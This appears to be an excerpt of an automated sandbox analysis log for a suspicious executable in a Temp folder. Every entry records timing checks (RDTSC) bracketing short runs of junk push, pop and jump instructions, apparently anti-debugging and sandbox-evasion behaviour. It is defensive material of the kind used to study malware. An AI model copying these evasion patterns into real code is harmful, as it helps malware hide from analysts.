Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 108D9DD second address: 108D9FB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3460BFB970h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d jg 00007F3460BFB966h 0x00000013 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 108D9FB second address: 108DA16 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3460CF0807h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 108DA16 second address: 108DA1C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 108DA1C second address: 108DA46 instructions: 0x00000000 rdtsc 0x00000002 je 00007F3460CF080Eh 0x00000008 jmp 00007F3460CF0808h 0x0000000d push eax 0x0000000e push edx 0x0000000f js 00007F3460CF07F6h 0x00000015 push esi 0x00000016 pop esi 0x00000017 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 1096B1E second address: 1096B23 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 1096B23 second address: 1096B29 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 1096C54 second address: 1096C60 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jg 00007F3460BFB966h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 1096C60 second address: 1096C64 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 1096C64 second address: 1096C7A instructions: 0x00000000 rdtsc 0x00000002 jl 00007F3460BFB966h 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jp 00007F3460BFB966h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 1096C7A second address: 1096C7E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 1096C7E second address: 1096C82 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 10972FE second address: 1097324 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 ja 00007F3460CF07F6h 0x0000000d jmp 00007F3460CF0809h 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 1097324 second address: 1097328 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 1097328 second address: 109732E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 109DE1A second address: 109DE1E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 109DF90 second address: 109DF94 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 109DF94 second address: 109DFA0 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F3460BFB966h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 109DFA0 second address: 109DFB1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F3460CF07FDh 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 109DFB1 second address: 109DFB5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 109DFB5 second address: 109DFC2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 109DFC2 second address: 109DFCC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F3460BFB966h 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 109E677 second address: 109E693 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3460CF0808h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 109E693 second address: 109E6AE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F3460BFB96Fh 0x0000000b push eax 0x0000000c push edx 0x0000000d push ebx 0x0000000e pop ebx 0x0000000f push edi 0x00000010 pop edi 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 109E805 second address: 109E80A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 109EB51 second address: 109EB55 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 109ECE2 second address: 109ECEE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 109ECEE second address: 109ECF2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 109ECF2 second address: 109ECF6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 109F40F second address: 109F41B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F3460BFB966h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 109F41B second address: 109F42F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3460CF07FBh 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 109D9AD second address: 109D9B1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 109D9B1 second address: 109D9C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F3460CF07FEh 0x0000000d rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 109D9C7 second address: 109D9CD instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 10A4871 second address: 10A4875 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 10A4875 second address: 10A488B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007F3460BFB966h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jnp 00007F3460BFB966h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 10A488B second address: 10A488F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 10A488F second address: 10A4893 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 10A78F5 second address: 10A78FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 10A78FC second address: 10A7916 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jmp 00007F3460BFB971h 0x00000008 pop edi 0x00000009 pushad 0x0000000a push esi 0x0000000b pop esi 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 10A7329 second address: 10A732D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 10A732D second address: 10A7331 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 10A74B2 second address: 10A74D1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F3460CF0808h 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 10A75FE second address: 10A7604 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 10A7604 second address: 10A7608 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 10A7608 second address: 10A7621 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3460BFB96Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a ja 00007F3460BFB966h 0x00000010 push esi 0x00000011 pop esi 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 10B2E02 second address: 10B2E06 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 10B2E06 second address: 10B2E3A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007F3460BFB966h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jmp 00007F3460BFB972h 0x00000011 pushad 0x00000012 push edx 0x00000013 pop edx 0x00000014 jmp 00007F3460BFB971h 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 10B5E78 second address: 10B5E8B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3460CF07FFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 10B7EAD second address: 10B7EB1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 10B7EB1 second address: 10B7EBE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 pop eax 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 10B800F second address: 10B801E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F3460BFB96Bh 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 10BED07 second address: 10BED0D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 10C8510 second address: 10C8516 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 10C8516 second address: 10C851C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 10C851C second address: 10C8533 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pushad 0x00000004 popad 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jl 00007F3460BFB966h 0x00000011 jne 00007F3460BFB966h 0x00000017 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 10C83AD second address: 10C83B1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 10C83B1 second address: 10C83BB instructions: 0x00000000 rdtsc 0x00000002 jng 00007F3460BFB966h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 10CEEC2 second address: 10CEEFA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F3460CF07F6h 0x0000000a popad 0x0000000b jmp 00007F3460CF0805h 0x00000010 pop eax 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 pushad 0x00000015 popad 0x00000016 pop eax 0x00000017 pushad 0x00000018 jmp 00007F3460CF07FEh 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 10CEEFA second address: 10CEEFF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 10CF06D second address: 10CF07A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jc 00007F3460CF0802h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 10CF1BE second address: 10CF1D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jmp 00007F3460BFB96Eh 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 10CF44C second address: 10CF464 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 je 00007F3460CF07F6h 0x0000000b jnp 00007F3460CF07F6h 0x00000011 push ebx 0x00000012 pop ebx 0x00000013 popad 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 10CF464 second address: 10CF47B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3460BFB973h 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 10CF47B second address: 10CF48E instructions: 0x00000000 rdtsc 0x00000002 je 00007F3460CF07F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 pop eax 0x00000011 push esi 0x00000012 pop esi 0x00000013 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 10CF48E second address: 10CF4CD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3460BFB976h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push ecx 0x0000000a jc 00007F3460BFB966h 0x00000010 pop ecx 0x00000011 jno 00007F3460BFB96Ah 0x00000017 push eax 0x00000018 push edx 0x00000019 push ecx 0x0000001a pop ecx 0x0000001b jmp 00007F3460BFB96Fh 0x00000020 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 10CF4CD second address: 10CF4D1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 10CF60A second address: 10CF647 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop esi 0x00000005 ja 00007F3460BFB966h 0x0000000b popad 0x0000000c jng 00007F3460BFB96Eh 0x00000012 pushad 0x00000013 popad 0x00000014 jne 00007F3460BFB966h 0x0000001a pop edx 0x0000001b pop eax 0x0000001c push eax 0x0000001d push edx 0x0000001e jmp 00007F3460BFB979h 0x00000023 push edx 0x00000024 push ebx 0x00000025 pop ebx 0x00000026 push esi 0x00000027 pop esi 0x00000028 pop edx 0x00000029 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 10CF647 second address: 10CF65E instructions: 0x00000000 rdtsc 0x00000002 jns 00007F3460CF07FCh 0x00000008 pushad 0x00000009 jg 00007F3460CF07F6h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 10CF65E second address: 10CF666 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 10CF7C5 second address: 10CF7CB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 10CF7CB second address: 10CF7E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3460BFB970h 0x00000009 popad 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 10CF7E5 second address: 10CF7FE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3460CF0805h 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 10CF7FE second address: 10CF802 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 10CF802 second address: 10CF832 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3460CF07FDh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push edx 0x0000000e pop edx 0x0000000f jmp 00007F3460CF0809h 0x00000014 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 10D0199 second address: 10D01A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F3460BFB966h 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 10D01A3 second address: 10D01BE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3460CF0801h 0x00000007 je 00007F3460CF07F6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 10D01BE second address: 10D01DA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F3460BFB978h 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 10D432A second address: 10D432E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 10D661C second address: 10D6624 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 10D6624 second address: 10D662A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 10D662A second address: 10D6646 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3460BFB975h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 10F67FC second address: 10F6814 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F3460CF07FCh 0x00000008 jc 00007F3460CF07F6h 0x0000000e jc 00007F3460CF07FEh 0x00000014 push ebx 0x00000015 pop ebx 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 10F6814 second address: 10F6823 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 jc 00007F3460BFB985h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 10FA037 second address: 10FA041 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F3460CF0808h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 10FA041 second address: 10FA059 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3460BFB96Ch 0x00000009 push eax 0x0000000a push edx 0x0000000b jnc 00007F3460BFB966h 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 1112DE2 second address: 1112E09 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F3460CF0805h 0x00000008 jp 00007F3460CF07F6h 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 jne 00007F3460CF07F6h 0x00000017 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 1112E09 second address: 1112E0D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 1112E0D second address: 1112E2C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push esi 0x0000000b push ecx 0x0000000c pop ecx 0x0000000d pop esi 0x0000000e jmp 00007F3460CF0801h 0x00000013 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 1112E2C second address: 1112E4F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F3460BFB973h 0x00000008 push edi 0x00000009 pop edi 0x0000000a pushad 0x0000000b popad 0x0000000c popad 0x0000000d js 00007F3460BFB96Ch 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: FF106B second address: FF107A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3460CF07FBh 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 1111F59 second address: 1111F86 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F3460BFB966h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F3460BFB972h 0x00000012 jc 00007F3460BFB96Eh 0x00000018 js 00007F3460BFB966h 0x0000001e pushad 0x0000001f popad 0x00000020 rdtsc
